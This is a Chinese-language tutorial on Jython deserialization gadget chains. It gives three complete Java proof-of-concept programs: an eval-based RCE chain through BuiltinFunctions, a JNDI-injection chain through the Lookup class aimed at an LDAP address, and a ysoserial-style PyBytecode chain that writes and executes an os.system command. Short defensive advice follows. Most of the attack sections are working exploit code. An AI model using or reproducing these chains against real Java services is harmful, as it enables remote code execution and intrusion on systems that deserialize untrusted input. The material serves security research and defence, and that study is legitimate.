Jython Gadgets Chain 利用分析
字数 903 2025-08-06 08:35:32

Jython Gadgets Chain 利用分析教学文档

1. 漏洞背景

本教学文档分析基于Jython的反序列化漏洞利用链,涉及两个主要利用点:

  1. org.python.core.BuiltinFunctions 的RCE利用
  2. com.ziclix.python.sql.connect.Lookup 的JNDI注入利用

2. 环境准备

2.1 依赖配置

<dependency>  
    <groupId>org.python</groupId>  
    <artifactId>jython-standalone</artifactId>  
    <version>2.7.2</version>  
</dependency>

3. BuiltinFunctions RCE利用分析

3.1 利用链调用栈

java.io.ObjectInputStream.readObject
    java.util.PriorityQueue.readObject
        java.util.PriorityQueue.heapify
            java.util.PriorityQueue.siftDownUsingComparator
                com.sun.proxy.$Proxy4.compare
                    org.python.core.PyMethod.invoke
                        org.python.core.PyMethod.__call__
                            org.python.core.PyMethod.instancemethod___call__
                                org.python.core.PyObject.__call__
                                    org.python.core.PyBuiltinFunctionNarrow.__call__
                                        org.python.core.BuiltinFunctions.__call__
                                            org.python.core.__builtin__.eval
                                                org.python.core.Py.runCode

3.2 关键点分析

  1. 入口点org.python.core.PyMethod 继承 InvocationHandler,可用作代理类
  2. 触发条件BuiltinFunctionsindex 必须设置为18才能触发 eval 方法
  3. 绕过检查pymethodim_class type 必须匹配 pyargs 指定的type

3.3 完整PoC代码

package org.example;  

import org.python.core.*;  
import sun.misc.Unsafe;  

import java.io.*;  
import java.lang.reflect.Field;  
import java.lang.reflect.Proxy;  
import java.util.Comparator;  
import java.util.HashMap;  
import java.util.PriorityQueue;  

public class Main {  
    public static void main(String[] args) throws Exception {  
        Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");  
        unsafeField.setAccessible(true);  
        Unsafe unsafe = (Unsafe) unsafeField.get(null);  

        PyMethod pyMethod = (PyMethod) unsafe.allocateInstance(PyMethod.class);  
        PyObject builtinFunctions = (PyObject) unsafe.allocateInstance(Class.forName("org.python.core.BuiltinFunctions"));  

        Field index = builtinFunctions.getClass().getSuperclass().getDeclaredField("index");  
        index.setAccessible(true);  
        index.set(builtinFunctions, 18);  

        pyMethod.__func__ = builtinFunctions;  
        pyMethod.im_class = new PyString().getType();  
        HashMap<Object, PyObject> _args = new HashMap<>();  
        _args.put("rs", new PyString("print('Hello World')")); 
        //_args.put("rs", new PyString("import os;\nos.system('open -a /System/Applications/Calculator.app')")); 

        PyStringMap locals = new PyStringMap(_args);  
        Object[] queue = new Object[] {  
                new PyString("__import__('code').InteractiveInterpreter().runcode(rs)')"),
                locals,
        };  

        Comparator o = (Comparator) Proxy.newProxyInstance(Main.class.getClassLoader(),  
                new Class[]{Comparator.class},  
                pyMethod);  

        PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, o);  

        Field f = priorityQueue.getClass().getDeclaredField("queue");  
        f.setAccessible(true);  
        f.set(priorityQueue, queue);  
        Field f2 = priorityQueue.getClass().getDeclaredField("size");  
        f2.setAccessible(true);  
        f2.set(priorityQueue, 2);  

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();  
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);  
        objectOutputStream.writeObject(priorityQueue);  

        byte[] bytes = byteArrayOutputStream.toByteArray();  
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);  
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);  
        objectInputStream.readObject();  
    }  
}

4. Lookup JNDI注入利用分析

4.1 利用链调用栈

java.io.ObjectInputStream.readObject
    java.util.PriorityQueue.readObject
        java.util.PriorityQueue.heapify
            java.util.PriorityQueue.siftDownUsingComparator
                com.sun.proxy.$Proxy4.compare
                    org.python.core.PyMethod.invoke
                        org.python.core.PyMethod.__call__
                            org.python.core.PyMethod.instancemethod___call__
                                org.python.core.PyObject.__call__
                                    com.ziclix.python.sql.connect.Lookup.__call__

4.2 关键点分析

  1. 利用com.ziclix.python.sql.connect.Lookup#__call__方法
  2. 第一个参数会被解析为JNDI名称并传入lookup方法

4.3 完整PoC代码

package org.example;  

import org.python.core.PyMethod;  
import org.python.core.PyString;  
import sun.misc.Unsafe;  

import java.io.ByteArrayInputStream;  
import java.io.ByteArrayOutputStream;  
import java.io.ObjectInputStream;  
import java.io.ObjectOutputStream;  
import java.lang.reflect.Field;  
import java.lang.reflect.Proxy;  
import java.util.Comparator;  
import java.util.PriorityQueue;  

public class Lookup {  
    public static void main(String[] args) throws Exception{  
        Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");  
        unsafeField.setAccessible(true);  
        Unsafe unsafe = (Unsafe) unsafeField.get(null);  

        PyMethod pyMethod = (PyMethod) unsafe.allocateInstance(PyMethod.class);  
        pyMethod.__func__ = new com.ziclix.python.sql.connect.Lookup();  
        pyMethod.im_class = new PyString().getType();  

        Comparator c = (Comparator) Proxy.newProxyInstance(  
                Lookup.class.getClassLoader(),  
                new Class[]{Comparator.class},  
                pyMethod  
        );  
        PriorityQueue priorityQueue = new PriorityQueue(2, c);  

        Object [] queue = new Object[]{  
                new PyString("ldap://127.0.0.1:1389"),  
                1  
        };

        Field f = priorityQueue.getClass().getDeclaredField("queue");  
        f.setAccessible(true);  
        f.set(priorityQueue, queue);  
        Field f2 = priorityQueue.getClass().getDeclaredField("size");  
        f2.setAccessible(true);  
        f2.set(priorityQueue, 2);  

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();  
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);  
        objectOutputStream.writeObject(priorityQueue);  

        byte[] bytes = byteArrayOutputStream.toByteArray();  
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);  
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);  
        objectInputStream.readObject();  
    }  
}

5. ysoserial中的Jython利用链分析

适用于Jython <=2.5.2版本,利用Python字节码执行命令。

5.1 关键点

  1. 低版本PyFunction没有重写readResolve方法,不会抛出异常
  2. 使用PyBytecode构建字节码并执行

5.2 Python字节码分析

使用python -m dis命令分析字节码:

LOAD_CONST 0
LOAD_CONST 1
IMPORT_NAME 0

5.3 完整PoC代码

package org.example;

import org.python.core.*;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.math.BigInteger;
import java.util.Comparator;
import java.util.PriorityQueue;

public class Jython {
    public static void main(String[] args) throws Exception {
        String path = "/Users/Downloads/123.py";
        String code = "import os\nos.system('open -a Calculator.app')";

        String pythonByteCode = "7400006401006402008302007D00007C0000690100640300830100017C0000690200830000017403006401008301000164000053";

        PyObject[] consts = new PyObject[]{new PyString(""), new PyString(path), new PyString("w+"), new PyString(code)};
        String[]   names  = new String[]{"open", "write", "close", "execfile"};

        PyBytecode bytecode = new PyBytecode(2, 2, 10, 64, "", consts, names, new String[]{"", ""}, "noname", "<module>", 0, "");
        Field field    = PyBytecode.class.getDeclaredField("co_code");
        field.setAccessible(true);
        field.set(bytecode, new BigInteger(pythonByteCode, 16).toByteArray());

        PyFunction handler = new PyFunction(new PyStringMap(), null, bytecode);

        Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);

        PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
        Object[]              queue         = new Object[]{path, code};

        Field queueField = PriorityQueue.class.getDeclaredField("queue");
        queueField.setAccessible(true);
        queueField.set(priorityQueue, queue);

        Field sizeField = PriorityQueue.class.getDeclaredField("size");
        sizeField.setAccessible(true);
        sizeField.set(priorityQueue, 2);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(priorityQueue);

        byte[] bytes = byteArrayOutputStream.toByteArray();
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
    }
}

6. 防御建议

  1. 升级Jython到最新版本
  2. 限制反序列化操作,使用白名单机制
  3. 监控和限制JNDI查找操作
  4. 对Python代码执行进行严格的权限控制

7. 总结

本教学文档详细分析了基于Jython的两种反序列化利用链,包括RCE和JNDI注入方式,并提供了完整的PoC代码。理解这些利用链有助于安全研究人员更好地防御此类漏洞。

Jython Gadgets Chain 利用分析教学文档 1. 漏洞背景 本教学文档分析基于Jython的反序列化漏洞利用链,涉及两个主要利用点: org.python.core.BuiltinFunctions 的RCE利用 com.ziclix.python.sql.connect.Lookup 的JNDI注入利用 2. 环境准备 2.1 依赖配置 3. BuiltinFunctions RCE利用分析 3.1 利用链调用栈 3.2 关键点分析 入口点 : org.python.core.PyMethod 继承 InvocationHandler ,可用作代理类 触发条件 : BuiltinFunctions 的 index 必须设置为18才能触发 eval 方法 绕过检查 : pymethod 的 im_class type 必须匹配 pyargs 指定的type 3.3 完整PoC代码 4. Lookup JNDI注入利用分析 4.1 利用链调用栈 4.2 关键点分析 利用 com.ziclix.python.sql.connect.Lookup#__call__ 方法 第一个参数会被解析为JNDI名称并传入 lookup 方法 4.3 完整PoC代码 5. ysoserial中的Jython利用链分析 适用于Jython <=2.5.2版本,利用Python字节码执行命令。 5.1 关键点 低版本PyFunction没有重写readResolve方法,不会抛出异常 使用PyBytecode构建字节码并执行 5.2 Python字节码分析 使用 python -m dis 命令分析字节码: 5.3 完整PoC代码 6. 防御建议 升级Jython到最新版本 限制反序列化操作,使用白名单机制 监控和限制JNDI查找操作 对Python代码执行进行严格的权限控制 7. 总结 本教学文档详细分析了基于Jython的两种反序列化利用链,包括RCE和JNDI注入方式,并提供了完整的PoC代码。理解这些利用链有助于安全研究人员更好地防御此类漏洞。